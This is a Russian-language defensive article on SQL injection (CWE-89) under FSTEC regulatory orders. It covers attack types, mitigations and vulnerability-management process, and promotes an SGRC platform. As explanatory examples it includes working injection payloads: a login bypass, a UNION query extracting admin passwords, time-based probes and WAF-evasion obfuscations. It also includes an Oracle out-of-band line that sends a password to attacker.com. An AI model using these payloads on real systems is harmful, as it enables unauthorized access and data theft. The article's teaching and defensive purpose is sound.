Защита от SQL-инъекций CWE-89: меры по приказам ФСТЭК

SQL-инъекция (CWE-89) остаётся одной из самых распространённых и опасных уязвимостей веб-приложений. По данным OWASP, инъекции входят в тройку критичных рисков уже более 15 лет. Реестр БДУ ФСТЭК содержит более 7 000 записей, связанных с CWE-89, — и это только задокументированные случаи. Для операторов ГИС, ИСПДн и объектов КИИ защита от SQL-инъекций --- не рекомендация, а обязательное требование приказов ФСТЭК №117, №21 и №239.

В этой статье разберём природу SQL-инъекций, их классификацию, масштаб проблемы в российском ПО по данным БДУ, конкретные требования ФСТЭК к защите от инъекций, практические меры устранения и подход к автоматизации мониторинга через SGRC-платформу. Материал рассчитан на специалистов ИБ, разработчиков и руководителей, отвечающих за безопасность информационных систем.

Что такое SQL-инъекция (CWE-89) и почему это критично

SQL-инъекция --- атака, при которой злоумышленник внедряет произвольный SQL-код через входные данные веб-приложения. Механизм уязвимости прост: приложение формирует SQL-запрос, конкатенируя пользовательский ввод в строку запроса без проверки и параметризации. В результате атакующий контролирует структуру запроса к базе данных.

Пример уязвимого кода:

SELECT * FROM users WHERE login = '" + userInput + "' AND password = '" + passInput + "'

Если в поле userInput ввести ' OR '1'='1' --, запрос превращается в:

SELECT * FROM users WHERE login = '' OR '1'='1' --' AND password = ''

Двойной дефис -- комментирует проверку пароля, условие '1'='1' всегда истинно --- злоумышленник получает доступ без учётных данных.

Последствия успешной SQL-инъекции

Влияние SQL-инъекции зависит от привилегий учётной записи СУБД и архитектуры приложения:

• Утечка данных. Полное извлечение содержимого базы: персональные данные, пароли, финансовая информация. Для ИСПДн это нарушение 152-ФЗ с риском оборотных штрафов по 420-ФЗ.
• Модификация данных. Атакующий может изменить записи, повысить себе привилегии, создать административные учётные записи.
• Удаление данных. Команды DROP TABLE или DELETE FROM уничтожают данные без возможности восстановления (при отсутствии резервных копий).
• Выполнение команд ОС. В некоторых СУБД (Microsoft SQL Server с xp_cmdshell, PostgreSQL с COPY TO PROGRAM) SQL-инъекция позволяет выполнять команды операционной системы --- полный захват сервера.
• Боковое перемещение. Скомпрометированный сервер СУБД используется как плацдарм для атаки на внутреннюю сеть.

CWE-89 в классификации MITRE определяется как «Improper Neutralization of Special Elements used in an SQL Command» --- неполная нейтрализация специальных символов в SQL-командах. Именно этот идентификатор используется в БДУ ФСТЭК для категоризации уязвимостей, связанных с SQL-инъекциями.

Почему SQL-инъекции до сих пор актуальны

Несмотря на то что SQL-инъекции известны с конца 1990-х годов, они остаются распространённой проблемой по нескольким причинам:

• Legacy-код. Системы, написанные 10–15 лет назад, часто используют строковую конкатенацию для формирования SQL-запросов. Рефакторинг требует ресурсов и тестирования.
• Недостаточная подготовка разработчиков. Не все разработчики знакомы с параметризованными запросами или используют ORM некорректно, допуская raw-SQL в обход ORM.
• Сложность тестирования. Автоматические сканеры находят простые инъекции, но пропускают Blind-инъекции и инъекции через сложные бизнес-логики.
• Новые точки входа. REST API, GraphQL, мобильные бэкенды --- каждый новый интерфейс к базе данных создаёт потенциальную точку для инъекции.

SQL-инъекции в реестре БДУ ФСТЭК: масштаб проблемы

Реестр БДУ ФСТЭК систематизирует информацию об уязвимостях, включая классификацию по CWE. Анализ записей с CWE-89 демонстрирует масштаб проблемы SQL-инъекций в программном обеспечении, используемом в российских организациях.

Статистика CWE-89 в БДУ

По состоянию на март 2026 года:

• Более 7 000 записей в БДУ ФСТЭК связаны с CWE-89 (SQL-инъекция).
• CWE-89 входит в топ-5 наиболее распространённых типов уязвимостей в реестре.
• Ежемесячно публикуется 30–60 новых записей с CWE-89.
• Средняя оценка CVSS для SQL-инъекций --- 7.5–9.8, что соответствует категориям High и Critical.

Затронутое программное обеспечение

Уязвимости CWE-89 в БДУ затрагивают широкий спектр ПО:

• CMS и веб-фреймворки: WordPress (плагины), Joomla, Drupal, 1С-Битрикс, NetCat CMS.
• Системы электронного документооборота: веб-интерфейсы СЭД, порталы госуслуг.
• ERP и учётные системы: веб-модули 1С, корпоративные порталы.
• СУБД: уязвимости в хранимых процедурах, триггерах и функциях.
• Сетевое оборудование: веб-интерфейсы управления маршрутизаторами, коммутаторами, IoT-устройствами.

Важно: наличие уязвимости CWE-89 в БДУ не является оценкой качества продукта. Это означает, что уязвимость обнаружена, задокументирована и доведена до вендора --- признак работающего процесса раскрытия уязвимостей.

Подробную карточку CWE-89 с перечнем связанных уязвимостей из БДУ можно посмотреть в разделе CWE-89: SQL-инъекция.

Характерный CVSS-профиль SQL-инъекций

Большинство уязвимостей CWE-89 получают высокие оценки CVSS по следующим причинам:

Рассчитать оценку CVSS v4.0 для конкретной SQL-инъекции с учётом контекста организации можно в калькуляторе CVSS v4.0 на КиберОснова.

Типы SQL-инъекций: классификация атак

Понимание типов SQL-инъекций необходимо для выбора адекватных мер защиты. Классификация основана на способе извлечения данных и взаимодействия с СУБД.

Classic (In-Band) SQL-инъекция

Самый прямолинейный тип: результат вредоносного запроса отображается непосредственно на веб-странице. Атакующий видит ответ СУБД в браузере.

Подтипы:

• Error-based. Злоумышленник намеренно вызывает ошибки SQL, чтобы получить информацию о структуре базы из сообщений об ошибках. Сообщение вроде «Unknown column 'password' in 'field list'» раскрывает имена столбцов.
• UNION-based. Оператор UNION SELECT добавляет к легитимному запросу дополнительный SELECT, извлекающий данные из других таблиц. Требует совпадения количества столбцов в обоих SELECT.

Пример UNION-based инъекции:

id=1 UNION SELECT username, password FROM admin_users --

Blind SQL-инъекция

Приложение не отображает результат запроса и не показывает ошибки SQL. Атакующий определяет ответ по косвенным признакам.

Подтипы:

• Boolean-based. Злоумышленник задаёт вопросы с ответом «да/нет», наблюдая за поведением приложения. Если инъекция AND 1=1 возвращает нормальную страницу, а AND 1=2 --- пустую, приложение уязвимо. Извлечение данных побуквенно через AND SUBSTRING(password,1,1)='a'.
• Time-based. Атакующий использует функции задержки СУБД: WAITFOR DELAY '0:0:5' (MSSQL), SLEEP(5) (MySQL), pg_sleep(5) (PostgreSQL). Если ответ задерживается на 5 секунд --- условие истинно.

Blind-инъекции сложнее обнаружить при тестировании, но не менее опасны: они позволяют полностью извлечь содержимое базы, хотя и медленнее.

Out-of-Band SQL-инъекция

Данные извлекаются не через HTTP-ответ, а через отдельный канал: DNS-запрос, HTTP-запрос к серверу атакующего, запись в файл. Используется, когда In-Band и Blind методы неприменимы.

Пример (Oracle):

SELECT UTL_HTTP.REQUEST('http://attacker.com/' || (SELECT password FROM users WHERE rownum=1)) FROM dual

СУБД выполняет HTTP-запрос к серверу атакующего, передавая пароль в URL. Такие инъекции практически невозможно обнаружить стандартными WAF-правилами без анализа исходящего трафика.

Second-Order SQL-инъекция

Вредоносный SQL-код сохраняется в базе через одну функцию (например, регистрация), а срабатывает при использовании этих данных в другой функции (например, смена пароля). Это затрудняет обнаружение: точка ввода и точка эксплуатации разделены во времени и коде.

Классификация по точке входа

Помимо метода извлечения данных, SQL-инъекции классифицируются по точке внедрения:

• GET/POST-параметры — наиболее распространённая точка входа.
• Cookie — часто забываемая разработчиками точка.
• HTTP-заголовки — User-Agent, Referer, X-Forwarded-For.
• Имена файлов — при загрузке файлов с именем, попадающим в SQL.
• JSON/XML API — параметры в теле API-запроса.

Требования ФСТЭК к защите от инъекций

Приказы ФСТЭК №117, №21 и №239 устанавливают обязательные меры защиты информации, которые прямо или косвенно требуют защиты от SQL-инъекций. Рассмотрим конкретные меры и их применение к CWE-89.

Меры анализа уязвимостей (АНЗ)

Группа мер АНЗ обязывает оператора ИС выстроить процесс работы с уязвимостями, включая SQL-инъекции:

• АНЗ.1 — выявление, анализ уязвимостей информационной системы и оперативное устранение вновь выявленных. Для веб-приложений это означает регулярное сканирование на уязвимости класса Injection (CWE-89, CWE-78, CWE-79).
• АНЗ.2 — контроль установки обновлений ПО, включая обновление средств защиты информации. Патчи, закрывающие SQL-инъекции, должны устанавливаться в рамках SLA.
• АНЗ.3 — контроль работоспособности, параметров настройки и правильности функционирования ПО и СЗИ. WAF и другие средства фильтрации должны быть корректно настроены для блокировки SQL-инъекций.
• АНЗ.5 — контроль правил генерации и смены паролей и параметров настройки СЗИ. SQL-инъекция через форму аутентификации — типичный вектор компрометации учётных данных.

Подробнее о процессе управления уязвимостями — в статье Методика управления уязвимостями ФСТЭК.

Меры обеспечения целостности (ОЦЛ)

• ОЦЛ.1 — контроль целостности ПО и СЗИ. SQL-инъекция, модифицирующая данные или код в базе, нарушает целостность.
• ОЦЛ.5 — контроль содержания информации, вводимой в ИС. Это прямое требование валидации входных данных — ключевая мера против SQL-инъекций.

Меры защиты информационной системы (ЗИС)

• ЗИС.17 — разбиение ИС на сегменты (сегментирование). Изоляция СУБД в отдельном сегменте ограничивает последствия SQL-инъекции.
• ЗИС.23 — защита периметра. WAF на границе сети фильтрует SQL-инъекции до их достижения приложения.

Меры управления доступом (УПД)

• УПД.2 — реализация необходимых методов, типов и правил разграничения доступа. Для СУБД это означает: учётная запись приложения не должна иметь прав администратора БД, прав на DDL-операции (CREATE, DROP, ALTER) и доступа к системным таблицам.
• УПД.5 — назначение минимально необходимых прав и привилегий. Принцип минимальных привилегий для учётных записей СУБД — одна из эффективнейших мер снижения последствий SQL-инъекции.

SLA на устранение SQL-инъекций по приказу №117

Приказ ФСТЭК №117 устанавливает обязательные сроки устранения уязвимостей для операторов ГИС:

На практике большинство SQL-инъекций в веб-приложениях, доступных из интернета, получают оценку CVSS 8.0–9.8, что означает SLA от 24 часов до 7 дней. Это жёсткие сроки, выполнение которых возможно только при наличии настроенного процесса управления уязвимостями.

Практические меры защиты от SQL-инъекций

Защита от SQL-инъекций строится по принципу эшелонированной обороны: несколько уровней защиты, каждый из которых снижает вероятность и последствия атаки. Ни одна мера не является достаточной сама по себе.

1. Параметризованные запросы (Prepared Statements)

Основная и наиболее эффективная мера. Параметризованные запросы разделяют структуру SQL-команды и данные на уровне СУБД. Данные пользователя передаются как параметры и никогда не интерпретируются как SQL-код.

Пример безопасного кода (Java, JDBC):

PreparedStatement stmt = conn.prepareStatement(
    "SELECT * FROM users WHERE login = ? AND password = ?"
);
stmt.setString(1, userInput);
stmt.setString(2, passInput);
ResultSet rs = stmt.executeQuery();

Даже если userInput содержит ' OR '1'='1' --, СУБД обработает это как строковое значение, а не как SQL-оператор.

Параметризованные запросы доступны во всех современных языках и фреймворках:

• Java: PreparedStatement (JDBC), JPA/Hibernate
• Python: cursor.execute(query, params) (psycopg2, sqlite3)
• C#/.NET: SqlCommand.Parameters
• PHP: PDO::prepare() с bindParam/bindValue
• Go: database/sql с placeholder-ами

2. ORM (Object-Relational Mapping)

ORM-фреймворки (Hibernate, Entity Framework, Django ORM, SQLAlchemy) генерируют SQL-запросы автоматически, используя параметризацию по умолчанию. Это снижает вероятность SQL-инъекции при условии, что разработчик:

• Не использует raw SQL-запросы через ORM в обход стандартных методов.
• Не формирует HQL/JPQL через конкатенацию строк (инъекция возможна и в HQL).
• Не отключает экранирование для «оптимизации производительности».

ORM не является заменой параметризованным запросам — это инструмент, который использует их под капотом. Понимание SQL и параметризации необходимо даже при работе с ORM.

3. Валидация и нормализация входных данных

Валидация входных данных — второй уровень защиты. Принцип: принимать только ожидаемые данные, отклонять всё остальное.

Белый список (allowlist):

• Числовые поля: только цифры, точка, знак минуса.
• Даты: строго формат YYYY-MM-DD.
• Электронная почта: regex-проверка формата.
• Выбор из списка: значение из enum, не произвольный текст.

Нормализация:

• Приведение кодировки к единому стандарту (UTF-8).
• Удаление управляющих символов.
• Ограничение длины полей (поле «Имя» не должно принимать 10 000 символов).

Валидация на стороне клиента (JavaScript) не является мерой безопасности — она улучшает UX, но атакующий обходит её, отправляя запросы напрямую. Валидация должна выполняться на сервере.

4. WAF (Web Application Firewall)

WAF анализирует HTTP-трафик и блокирует запросы, содержащие паттерны SQL-инъекций. Сертифицированные ФСТЭК решения:

• PT Application Firewall (Positive Technologies)
• Wallarm (сертификат ФСТЭК)
• SolidWall WAF
• Код Безопасности: Континент WAF

Что WAF обнаруживает:

• Типичные паттерны: UNION SELECT, OR 1=1, '; DROP TABLE, вложенные комментарии /**/.
• Подозрительные символы: одинарные кавычки, двойные дефисы, точки с запятой в неожиданных местах.
• Аномалии: необычно длинные параметры, нетипичные кодировки.

Ограничения WAF:

• Обфускация: UNION/**/SELECT, UnIoN SeLeCt, URL-кодирование %27 OR %271%27=%271.
• Ложные срабатывания: блокировка легитимных запросов с апострофами (фамилия О'Брайен).
• Нулевой день: WAF не защищает от новых техник, не покрытых сигнатурами.

WAF — обязательный компонент эшелонированной защиты, но не замена безопасному коду.

5. Принцип минимальных привилегий для СУБД

Учётная запись, от имени которой приложение подключается к СУБД, должна иметь минимально необходимые права:

• Только SELECT, INSERT, UPDATE, DELETE на конкретные таблицы.
• Без прав DDL: CREATE, DROP, ALTER, TRUNCATE.
• Без прав DBA: нет доступа к системным таблицам, нет xp_cmdshell (MSSQL), нет COPY TO PROGRAM (PostgreSQL).
• Отдельные учётные записи для разных модулей приложения: модуль отчётов — только SELECT; модуль регистрации — INSERT в таблицу пользователей; административный модуль — расширенные права, но с дополнительной аутентификацией.

Даже если SQL-инъекция произойдёт, ограниченные привилегии не позволят атакующему выйти за пределы конкретных таблиц.

6. Защита от Error-based инъекций

Сообщения об ошибках СУБД не должны передаваться пользователю:

• Настройте централизованное логирование ошибок SQL (файл, SIEM).
• Верните пользователю универсальное сообщение: «Произошла ошибка, обратитесь к администратору».
• В production-среде отключите режим отладки (debug mode) для фреймворков.
• Настройте custom error pages на уровне веб-сервера (nginx, Apache).

7. Мониторинг и логирование

• Логирование SQL-запросов с аномальной структурой (нетипичная длина, наличие UNION, --, ;).
• Алертинг при массовых ошибках SQL (признак сканирования на инъекции).
• Корреляция событий WAF с логами приложения и СУБД — в SIEM или SGRC.
• Аудит действий привилегированных учётных записей СУБД.

Как мониторить SQL-инъекции из БДУ ФСТЭК

Работа с уязвимостями CWE-89 не заканчивается после настройки защиты. Ежедневно в БДУ ФСТЭК публикуются новые записи об уязвимостях, затрагивающих ПО в вашей инфраструктуре. Организация процесса мониторинга — требование приказов ФСТЭК и здравого смысла.

Ручной процесс и его ограничения

Минимальный ручной процесс мониторинга CWE-89:

1. Ежедневно проверять реестр БДУ ФСТЭК на наличие новых уязвимостей в используемом ПО.
2. Фильтровать по CWE-89 для фокуса на SQL-инъекциях.
3. Сопоставлять идентификаторы затронутого ПО с реестром ИТ-активов организации.
4. Рассчитывать SLA по CVSS-оценке в соответствии с приказом №117.
5. Фиксировать задачу на устранение, назначать ответственного, контролировать срок.

При инфраструктуре более 50 хостов и сотнях компонентов ПО ручной процесс занимает часы ежедневно и неизбежно приводит к пропускам. Таблица Excel с тысячами строк --- не инструмент управления уязвимостями.

Автоматизация через SGRC-платформу

SGRC-платформа (Security Governance, Risk, Compliance) автоматизирует полный цикл работы с уязвимостями CWE-89:

Ежедневная синхронизация с БДУ. Платформа автоматически загружает новые записи из bdu.fstec.ru, включая обновления существующих уязвимостей (изменение CVSS-оценки, появление патча, изменение статуса).

Автоматическое сопоставление с активами. Новая уязвимость CWE-89 в Apache HTTP Server 2.4.x автоматически привязывается ко всем серверам организации с установленным Apache 2.4 --- при условии, что реестр ИТ-активов актуален.

Расчёт SLA. На основании CVSS-оценки платформа автоматически рассчитывает дедлайн устранения по приказу №117 и назначает приоритет в backlog.

Назначение ответственных. Уязвимость привязывается к владельцу актива или ИТ-подразделению, ответственному за компонент.

Контроль устранения. Задача на устранение с дедлайном, эскалация при просрочке, отметка о закрытии после повторного сканирования.

Отчётность. Формирование отчётов о состоянии уязвимостей CWE-89 для руководства, аудитора и регулятора.

КиберОснова SGRC включает модуль БДУ ФСТЭК с ежедневной синхронизацией, CVSS v4.0, EPSS, CISA KEV и автоматическим расчётом SLA. Для оценки возможностей платформы доступна бесплатная демонстрация.

Разработка модели угроз с учётом SQL-инъекций

При разработке модели угроз по методике ФСТЭК SQL-инъекции должны быть учтены как актуальная угроза для любой информационной системы, имеющей веб-интерфейс и СУБД. Конкретные шаги:

1. Определение поверхности атаки. Перечислите все точки, где пользовательский ввод взаимодействует с СУБД: формы авторизации, поиск, фильтры, API-эндпоинты, загрузка файлов.
2. Оценка актуальности. SQL-инъекция актуальна, если приложение использует SQL-СУБД и формирует запросы на основе пользовательского ввода. Для NoSQL-баз применимы другие типы инъекций (CWE-943).
3. Определение нарушителя. Внешний нарушитель (из интернета) — для публичных веб-приложений; внутренний нарушитель — для корпоративных систем. Уровень подготовки: базовый (автоматизированные инструменты типа sqlmap доступны любому).
4. Определение последствий. Утечка ПДн (нарушение конфиденциальности), модификация данных (нарушение целостности), отказ в обслуживании (нарушение доступности).

Чеклист защиты от SQL-инъекций для специалиста ИБ

Для самопроверки — перечень мер, которые должны быть реализованы в организации:

Уровень кода:

• Все SQL-запросы используют параметризацию (prepared statements).
• ORM используется корректно, raw SQL — только через параметризованные запросы.
• Валидация входных данных на стороне сервера (белый список).
• Сообщения об ошибках SQL не передаются пользователю.
• Хранимые процедуры не используют динамический SQL с конкатенацией.

Уровень инфраструктуры:

• WAF настроен и активен для всех веб-приложений.
• Учётные записи СУБД работают по принципу минимальных привилегий.
• СУБД изолирована в отдельном сетевом сегменте.
• Логирование SQL-аномалий настроено и мониторится.

Уровень процесса:

• Регулярное сканирование веб-приложений на уязвимости (DAST).
• Анализ кода на уязвимости (SAST) в CI/CD-пайплайне.
• Мониторинг новых уязвимостей CWE-89 из БДУ ФСТЭК.
• SLA на устранение SQL-инъекций определён и контролируется.
• Разработчики обучены безопасному программированию.

Заключение

SQL-инъекция (CWE-89) --- уязвимость, которая существует с первых дней веб-разработки и остаётся актуальной в 2026 году. Более 7 000 записей в реестре БДУ ФСТЭК, ежемесячные публикации новых уязвимостей, типичная оценка CVSS 7.5–9.8 и SLA от 24 часов по приказу №117 --- всё это требует системного подхода к защите.

Эффективная защита от SQL-инъекций строится на четырёх столпах: безопасный код (параметризованные запросы), настроенная инфраструктура (WAF, сегментация, минимальные привилегии), работающий процесс (сканирование, мониторинг БДУ, SLA) и автоматизация (SGRC-платформа для управления полным циклом). Ни один из столпов не является достаточным сам по себе.

Начните с аудита текущего состояния: проверьте свои веб-приложения на SQL-инъекции, просмотрите уязвимости CWE-89 в реестре БДУ для используемого ПО, рассчитайте SLA по приказу ФСТЭК №117. Если ручной процесс отнимает слишком много времени — запросите демонстрацию КиберОснова SGRC для автоматизации.